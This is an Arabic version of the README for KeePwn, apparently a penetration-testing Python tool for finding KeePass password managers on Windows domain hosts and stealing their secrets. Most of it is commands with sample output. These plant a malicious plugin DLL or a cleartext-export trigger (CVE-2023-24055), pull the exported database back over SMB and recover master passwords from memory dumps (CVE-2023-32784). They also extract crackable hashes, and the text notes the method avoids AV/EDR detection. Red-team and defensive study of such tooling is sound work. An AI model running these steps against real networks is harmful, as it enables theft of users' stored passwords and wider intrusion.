
أداة بايثون لأتمتة اكتشاف KeePass واستخراج الأسرار.

نص برمجي بلغة بايثون لمساعدة فريق الاختراق في اكتشاف مثيلات KeePass واستخراج الأسرار.
git clone https://github.com/Orange-Cyberdefense/KeePwn && cd KeePwn
python3 -m pip install .
KeePwn --help
أو إذا كنت لا ترغب في التثبيت ولكن فقط تشغيله في بيئة افتراضية:
git clone https://github.com/Orange-Cyberdefense/KeePwn && cd KeePwn
python3 -m venv .venv
source .venv/bin/activate
python3 -m pip install -r requirements.txt
python3 KeePwn.py --help
يتم استخدام وحدة search في KeePwn لتحديد المضيفات التي تشغل KeePass في بيئتك المستهدفة:
$ python3 KeePwn.py search -u 'Administrator' -p 'P@$$w0rd!!' -d 'COMPANY.LOCAL' -tf ./targets.txt
[*] Starting remote KeePass search with 5 threads
[PC01.COMPANY.LOCAL] No KeePass-related file found
[PC02.COMPANY.LOCAL] No KeePass-related file found
[PC03.COMPANY.LOCAL] Found '\\C$\Program Files\KeePass Password Safe 2\KeePass.exe' (Version: 2.57.1, LastUpdateCheck: 48 minutes ago)
[PC03.COMPANY.LOCAL] Found '\\C$\Users\jdoe\AppData\Roaming\KeePass\KeePass.config.xml'
[PC04.COMPANY.LOCAL] No KeePass-related file found
[PC05.COMPANY.LOCAL] No KeePass-related file found
يستخدم هذا الوحدة مشاركة C$ المضمنة في Active Directory للبحث عن ملفات متعلقة بـ KeePass في المواقع الافتراضية، وبالتالي يتطلب صلاحيات مدير على الأهداف.
ستقوم الوحدة أولاً بالبحث عن ملف التكوين KeePass.config.xml في مجلد %APPDATA%\KeePass لكل مستخدم، بالإضافة إلى KeePass.exe في مسار التثبيت الافتراضي (C:\Program Files\KeePass Password Safe 2). إذا تم العثور على ملف تكوين ولكن لم يتم تثبيت KeePass بشكل عام، سيبحث KeePwn عن التثبيتات المحمولة حتى --max-depth من المجلدات الفرعية.
يجب أن تكون تقنية البحث الأساسية هذه كافية لتحديد دقة ما إذا كان KeePass مستخدمًا على محطة العمل أم لا. بالإضافة إلى ذلك، سيستخدم خيار --get-process تنفيذ RPC الخاص بـ Impacket لتحديد ما إذا كان KeePass قيد التشغيل حاليًا على الهدف.
كما تتضمن العديد من خيارات سهولة الاستخدام للسماح لك بتصدير نتائج البحث إلى ملف CSV، وعرض الأهداف التي تم العثور فيها على KeePass فقط، وضبط عدد الخيوط المتوازية:
يحتوي KeePass على إطار عمل للإضافات يمكن استغلاله لتحميل DLLs ضارة في عملية KeePass، مما يسمح للمهاجمين بصلاحيات مدير بتصدير قاعدة البيانات بسهولة (انظر: KeeFarceRebornPlugin).
تتيح وحدة plugin في KeePwn ما يلي:
سرد الإضافات المثبتة حاليًا وتعداد ذاكرة التخزين المؤقت للإضافات
$ KeePwn plugin check -u 'Administrator' -p 'P@$$w0rd!!' -d 'COMPANY.LOCAL' -t PC03.COMPANY.LOCAL
[*] No path specified, searching in default locations..
[*] Found dbBackup.plgx in folder '\\C$\Program Files\KeePass Password Safe 2\Plugins\'
[*] Found pDhkzWQYiobXhtBEEnbo in folder '\\C$\Users\jdoe\AppData\Local\KeePass\PluginCache'
إضافة وإزالة الإضافات الضارة الخاصة بك
$ KeePwn plugin add -u 'Administrator' -p 'P@$$w0rd!!' -d 'COMPANY.LOCAL' -t PC03.COMPANY.LOCAL --plugin KeeFarceRebornPlugin.dll
[*] No path specified, searching in default locations..
[*] Found KeePass Plugins directory '\\C$\Program Files\KeePass Password Safe 2\Plugins\'
[!] About to add KeeFarceRebornPlugin.dll to KeePass Plugins directory, do you want to continue? [y/n]
> y
[+] Plugin successfully added to KeePass, wait for next restart, poll and enjoy!
استقصاء %APPDATA% للصادرات ونقلها تلقائيًا من المضيف البعيد إلى نظام الملفات المحلي
$ KeePwn plugin poll -u 'Administrator' -p 'P@$$w0rd!!' -d 'COMPANY.LOCAL' -t PC03.COMPANY.LOCAL
[*] Polling for database export every 5 seconds.. press CTRL+C to abort. DONE
[+] Found cleartext export '\\C$\\Users\jdoe\AppData\Roaming\export.xml'
[+] Moved remote export to ./export.xml
كما هو موضح في منشور مدونة @harmj0y (ولاحقًا CVE-2023-24055)، يمكن إساءة استخدام نظام المحفزات في KeePass لتصدير قاعدة البيانات كنص صريح.
تتيح وحدة trigger في KeePwn ما يلي:
التحقق مما إذا كان محفز ضار باسم "export" مكتوب حاليًا في تكوين KeePass
$ KeePwn trigger check -u 'Administrator' -p 'P@$$w0rd!!' -d 'COMPANY.LOCAL' -t PC03.COMPANY.LOCAL
[*] No KeePass configuration path specified, searching in default locations..
[*] Found global KeePass configuration '\\C$\Program Files\KeePass Password Safe 2\KeePass.config.xml'
[*] PreferUserConfiguration flag is set to true, meaning that local configuration is used
[*] Found local KeePass configuration '\\C$\Users\jdoe\AppData\Roaming\KeePass\KeePass.config.xml'
[+] No trigger found in KeePass configuration
لاحظ أن KeePwn سيمنعك من إساءة استخدام الإضافات إذا كان إصدار KeePass المكتشف لا يتأثر بهذه التقنية.
إضافة وإزالة محفز ضار باسم "export" يقوم بتصدير قاعدة البيانات كنص صريح في %APPDATA% عند تشغيل KeePass التالي
❯ python3 KeePwn.py trigger add -u 'Administrator' -p 'P@$$w0rd!!' -d 'COMPANY.LOCAL' -t PC03.COMPANY.LOCAL
[*] No KeePass configuration path specified, searching in default locations..
[*] Found global KeePass configuration '\\C$\Program Files\KeePass Password Safe 2\KeePass.config.xml'
[*] PreferUserConfiguration flag is set to true, meaning that local configuration is used
[*] Found local KeePass configuration '\\C$\Users\jdoe\AppData\Roaming\KeePass\KeePass.config.xml'
[+] Malicious trigger 'export' successfully added to KeePass configuration file (it may be deleted if KeePass is already running)
كما هو موضح من قبل @vdohney، من الممكن استرداد كلمة المرور الرئيسية لقاعدة البيانات في الذاكرة (CVE-2023-32784، التي تؤثر على الإصدارات قبل KeePass 2.54).
ستقوم وحدة parse_dump في KeePwn بالبحث عن مرشحات محتملة لكلمة المرور الرئيسية في التفريغات. نظرًا لأن السلاسل الناتجة ستكون (حسب التصميم) غير مكتملة، يمكن استخدام الوحدة أيضًا لاختبار القوة الغاشمة للحرف الأول المفقود مقابل ملف KDBX محدد.
$ python3 KeePwn.py parse_dump -d ./KeePass.DMP --bruteforce Database.kdbx
[*] Searching for the master password in memory dump.. done!
[*] Found 15 candidates:
_@$$w0rd!!
_Ï$$w0rd!!
_§$$w0rd!!
_ñ$$w0rd!!
_D$$w0rd!!
_$$w0rd!!
_\$$w0rd!!
_#$$w0rd!!
_y$$w0rd!!
_k$$w0rd!!
_9$$w0rd!!
_;$$w0rd!!
_H$$w0rd!!
_>$$w0rd!!
_a$$w0rd!!
[*] Bruteforcing missing symbol with the 254 most common unicode characters.. done!
[+] Database.kdbx successfully unlocked using master password P@$$w0rd!!
يستخدم تحليل تفريغ الذاكرة PoC الخاص بـ CMEPW بلغة بايثون. شكرًا للسماح لي بإعادة استخدام الكود :)
تم نقل script keepass2john.py الخاص بـ @harmjoy إلى KeePwn بمساعدة @0xSp3ctra.
ستقوم وحدة convert في KeePwn باستخراج تجزئة قابلة للاختراق (تنسيق john أو hashcat) من قاعدة بيانات KeePass.
KeePwn convert -d ./Database.kdbx
[+] Happy cracking! (hashcat -m 13400)
$keepass$*2*60000*222*b794eae002aff2a55a307bedeadebee210ee3c3596731f5acf2a1ff3add7d5af*7f19293f120717cbb88cdd27a3d4b9cb58316c61c625ca3a39f94c5a96b6135b*c004b3bc403730ce1bba15d5feda18e2*55a142d52798313c336c9442d824d7098ded3c5e161b76640100c99ec1cd95e1*60bb1f64c2bfff8a4e1eb43c533054f2f5c46fac19a867e7f80a1a71d6b68f17
يمكن استخدامه مع وسائط إضافية لتحديد نوع التجزئة المتوقع بالإضافة إلى مسار ملف الإخراج:
KeePwn convert -d ./Database.kdbx -t john -o ./Database.hash
[+] Hash written to ./Database.hash, happy cracking! (john --format=keepass)
KDBX 4.x غير مدعومة بعد، يمكنك استخدام https://github.com/r3nt0n/keepass4brute. إذا كنت في مزاج لعمل PR، فإن https://palant.info/2023/03/29/documenting-keepass-kdbx4-file-format سيكون قراءة جيدة :)
مرحب بالطلبات المقدمة (انظر: الميزات غير المحددة + بعض TODO في الكود).
لا تتردد في فتح issue أو مراسلتي على Twitter لاقتراح تحسين.
$ KeePwn search -u 'Administrator' -p 'P@$$w0rd!!' -d 'COMPANY.LOCAL' -tf ./targets.txt --threads 4 --get-process --found-only --output keepwn_out.csv
[*] Starting remote KeePass search with 4 threads
[PC03.COMPANY.LOCAL] Found '\\C$\Program Files\KeePass Password Safe 2\KeePass.exe' (Version: 2.57.1, LastUpdateCheck: 48 minutes ago)
[PC03.COMPANY.LOCAL] Found '\\C$\Users\jdoe\AppData\Roaming\KeePass\KeePass.config.xml'
[PC03.COMPANY.LOCAL] Found running KeePass.exe process (User: COMPANY\jdoe, PID: 3820)
[+] Search results logged to keepwn_out.csv
تتم هذه الإجراءات من خلال الوصول إلى مشاركة SMB C$، مما يحد من كشف AV/EDR حيث لا يتم تنفيذ أي أمر.
استقصاء %APPDATA% للصادرات ونقلها تلقائيًا من المضيف البعيد إلى نظام الملفات المحلي
$ KeePwn trigger poll -u 'Administrator' -p 'P@$$w0rd!!' -d 'COMPANY.LOCAL' -t PC03.COMPANY.LOCAL
[*] Polling for database export every 5 seconds.. press CTRL+C to abort. DONE
[+] Found cleartext export '\\C$\\Users\jdoe\AppData\Roaming\export.xml'
[+] Moved remote export to ./export.xml
إذا لم يكن مسار ملف التكوين هو الموقع الافتراضي، يمكنك تحديد واحد باستخدام وسيطة --config-path.